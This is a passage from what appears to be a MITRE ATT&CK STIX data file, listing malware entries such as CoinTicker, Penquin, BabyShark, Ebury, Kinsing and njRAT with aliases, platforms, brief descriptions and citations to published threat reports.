Patchwork Dec 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Richie Cyrus, SpecterOps"],"x_mitre_aliases":["CoinTicker"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d1531eaa-9e17-473e-a680-3298469662c3","type":"malware","created":"2019-04-23T18:41:36.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0369","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0369"},{"description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","source_name":"CoinTicker 2019"}],"modified":"2020-03-30T15:23:53.711Z","name":"CoinTicker","description":"[CoinTicker](https://attack.mitre.org/software/S0369) is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.(Citation: CoinTicker 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T21:38:11.979Z","name":"DDKONG","description":"[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["DDKONG"],"type":"malware","id":"malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0255","external_id":"S0255"},{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:27:30.199Z","name":"Penquin","description":"[Penquin](https://attack.mitre.org/software/S0587) is a remote access trojan (RAT) with multiple versions used by [Turla](https://attack.mitre.org/groups/G0010) to target Linux systems since at least 2014.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)","x_mitre_platforms":["Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Silvio La Porta, @LDO_CyberSec, Leonardo's Cyber Security Division","Antonio Villani, @LDO_CyberSec, Leonardo's Cyber Security Division","Nino Verde, @LDO_CyberSec, Leonardo's Cyber Security Division"],"x_mitre_aliases":["Penquin","Penquin 2.0","Penquin_x64"],"type":"malware","id":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","created":"2021-03-11T15:06:57.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0587","external_id":"S0587"},{"source_name":"Penquin 2.0","description":"(Citation: Leonardo Turla Penquin May 2020)"},{"source_name":"Penquin_x64","description":"(Citation: Leonardo Turla Penquin May 2020)"},{"source_name":"Kaspersky Turla Penquin December 2014","description":"Baumgartner, K. and Raiu, C. (2014, December 8). The ‘Penquin’ Turla. Retrieved March 11, 2021.","url":"https://securelist.com/the-penquin-turla-2/67962/"},{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-05-06T20:38:32.432Z","name":"BabyShark","description":"[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_aliases":["BabyShark","LATEOP"],"type":"malware","id":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","created":"2019-10-07T19:05:48.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0414","external_id":"S0414"},{"source_name":"LATEOP","description":"(Citation: Mandiant APT43 March 2024)"},{"source_name":"BabyShark","description":"(Citation: Unit42 BabyShark Feb 2019)(Citation: Unit42 BabyShark Apr 2019)"},{"source_name":"Unit42 BabyShark Apr 2019","description":"Lim, M.. (2019, April 26). BabyShark Malware Part Two – Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.","url":"https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"},{"source_name":"Unit42 BabyShark Feb 2019","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Cannon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","type":"malware","created":"2019-01-30T18:58:03.614Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0351","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0351"},{"source_name":"Cannon","description":"(Citation: Unit42 Cannon Nov 2018)"},{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"},{"source_name":"Unit42 Sofacy Dec 2018","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019."}],"modified":"2020-03-30T15:17:24.834Z","name":"Cannon","description":"[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["CreepySnail"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--d23de441-f9cf-4802-b1ff-f588a11a896b","created":"2022-07-08T14:05:44.014Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S1024","url":"https://attack.mitre.org/software/S1024"},{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepySnail](https://attack.mitre.org/software/S1024) is a custom PowerShell implant that has been used by [POLONIUM](https://attack.mitre.org/groups/G1005) since at least 2022.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T20:18:47.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"CreepySnail","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["build_downer"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","type":"malware","created":"2020-06-10T18:44:10.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0471","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0471"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T17:50:33.499Z","name":"build_downer","description":"[build_downer](https://attack.mitre.org/software/S0471) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-29T18:12:59.212Z","name":"Melcoz","description":"[Melcoz](https://attack.mitre.org/software/S0530) is a banking trojan family built from the open source tool Remote Access PC. [Melcoz](https://attack.mitre.org/software/S0530) was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.(Citation: Securelist Brazilian Banking Malware July 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Melcoz"],"type":"malware","id":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","created":"2020-11-10T20:24:50.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0530","external_id":"S0530"},{"source_name":"Securelist Brazilian Banking Malware July 2020","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T20:35:29.262Z","name":"Winnti for Windows","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"3.1","x_mitre_aliases":["Winnti for Windows"],"type":"malware","id":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","created":"2017-05-31T21:33:21.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0141","external_id":"S0141"},{"source_name":"Microsoft Winnti Jan 2017","description":"Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.","url":"https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/"},{"source_name":"Chronicle Winnti for Linux May 2019","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020.","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a"},{"source_name":"401 TRG Winnti Umbrella May 2018","description":"Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018.","url":"https://401trg.github.io/pages/burning-umbrella.html"},{"source_name":"Kaspersky Winnti April 2013","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","url":"https://securelist.com/winnti-more-than-just-a-game/37029/"},{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:12:04.169Z","name":"PowerPunch","description":"[PowerPunch](https://attack.mitre.org/software/S0685) is a lightweight downloader that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["PowerPunch"],"type":"malware","id":"malware--d52291b4-bb23-45a8-aef0-3dc7e986ba15","created":"2022-02-18T15:50:16.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0685","external_id":"S0685"},{"source_name":"Microsoft Actinium February 2022","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BONDUPDATER"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a","type":"malware","created":"2019-02-18T20:16:12.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0360","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0360"},{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"},{"source_name":"Palo Alto OilRig Sep 2018","url":"https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/","description":"Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019."}],"modified":"2021-02-09T14:06:12.720Z","name":"BONDUPDATER","description":"[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T17:04:35.670Z","name":"BLACKCOFFEE","description":"[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["BLACKCOFFEE"],"type":"malware","id":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","created":"2017-05-31T21:32:45.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0069","external_id":"S0069"},{"source_name":"BLACKCOFFEE","description":"(Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)"},{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-29T15:21:10.780Z","name":"BFG Agonizer","description":"[BFG Agonizer](https://attack.mitre.org/software/S1136) is a wiper related to the open-source project CRYLINE-v.5.0. The malware is associated with wiping operations conducted by the [Agrius](https://attack.mitre.org/groups/G1030) threat actor.(Citation: Unit42 Agrius 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["BFG Agonizer"],"type":"malware","id":"malware--d6aefbbf-fbef-485a-973e-b5403d8f8b18","created":"2024-05-22T22:51:51.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1136","external_id":"S1136"},{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-20T21:15:51.302Z","name":"Ebury","description":"[Ebury](https://attack.mitre.org/software/S0377) is an OpenSSH backdoor and credential stealer targeting Linux servers and container hosts developed by [Windigo](https://attack.mitre.org/groups/G0124). [Ebury](https://attack.mitre.org/software/S0377) is primarily installed through modifying shared libraries (`.so` files) executed by the legitimate OpenSSH program. First seen in 2009, [Ebury](https://attack.mitre.org/software/S0377) has been used to maintain a botnet of servers, deploy additional malware, and steal cryptocurrency wallets, credentials, and credit card details.(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024)","x_mitre_platforms":["Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_contributors":["Marc-Etienne M.Léveillé, ESET"],"x_mitre_aliases":["Ebury"],"type":"malware","id":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","created":"2019-04-19T16:40:24.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0377","external_id":"S0377"},{"source_name":"Ebury","description":"(Citation: ESET Ebury Feb 2014)"},{"source_name":"BleepingComputer Ebury March 2017","description":"Cimpanu, C.. (2017, March 29). Russian Hacker Pleads Guilty for Role in Infamous Linux Ebury Malware. Retrieved April 23, 2019.","url":"https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/"},{"source_name":"ESET Ebury Feb 2014","description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"},{"source_name":"ESET Ebury May 2024","description":"Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.","url":"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf"},{"source_name":"ESET Ebury Oct 2017","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Containers","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_aliases":["Kinsing"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d6e55656-e43f-411f-a7af-45df650471c5","type":"malware","created":"2021-04-06T12:22:23.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0599","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0599"},{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."},{"source_name":"Sysdig Kinsing November 2020","url":"https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/","description":"Huang, K. (2020, November 23). Zoom into Kinsing. Retrieved April 1, 2021."},{"source_name":"Aqua Security Cloud Native Threat Report June 2021","url":"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation","description":"Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021."}],"modified":"2021-08-26T16:39:07.873Z","name":"Kinsing","description":"[Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-17T23:08:23.989Z","name":"PITSTOP","description":"[PITSTOP](https://attack.mitre.org/software/S1123) is a backdoor that was deployed on compromised Ivanti Connect Secure VPNs during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to enable command execution and file read/write.(Citation: Mandiant Cutting Edge Part 3 February 2024)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["PITSTOP"],"type":"malware","id":"malware--d79b1800-3b5d-4a4f-8863-8251eca793e2","created":"2024-03-13T21:04:20.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1123","external_id":"S1123"},{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Tsubasa Matsuda, NEC Corporation"],"x_mitre_aliases":["Meteor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","created":"2022-03-07T19:08:55.858Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0688","url":"https://attack.mitre.org/software/S0688"},{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://attack.mitre.org/software/S0688) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-14T15:48:23.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Meteor","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:33:37.539Z","name":"njRAT","description":"[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.6","x_mitre_aliases":["njRAT","Njw0rm","LV","Bladabindi"],"type":"malware","id":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","created":"2019-06-04T17:52:28.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0385","external_id":"S0385"},{"source_name":"LV","description":"(Citation: Fidelis njRAT June 2013)"},{"source_name":"Bladabindi","description":"(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)"},{"source_name":"FireEye Njw0rm Aug 2013","description":"Dawda, U. and Villeneuve, N. (2013, August 30). Njw0rm - Brother From the Same Mother. Retrieved June 4, 2019.","url":"https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html"},{"source_name":"Fidelis njRAT June 2013","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf"},{"source_name":"Trend Micro njRAT 2018","description":"Pascual, C. (2018, 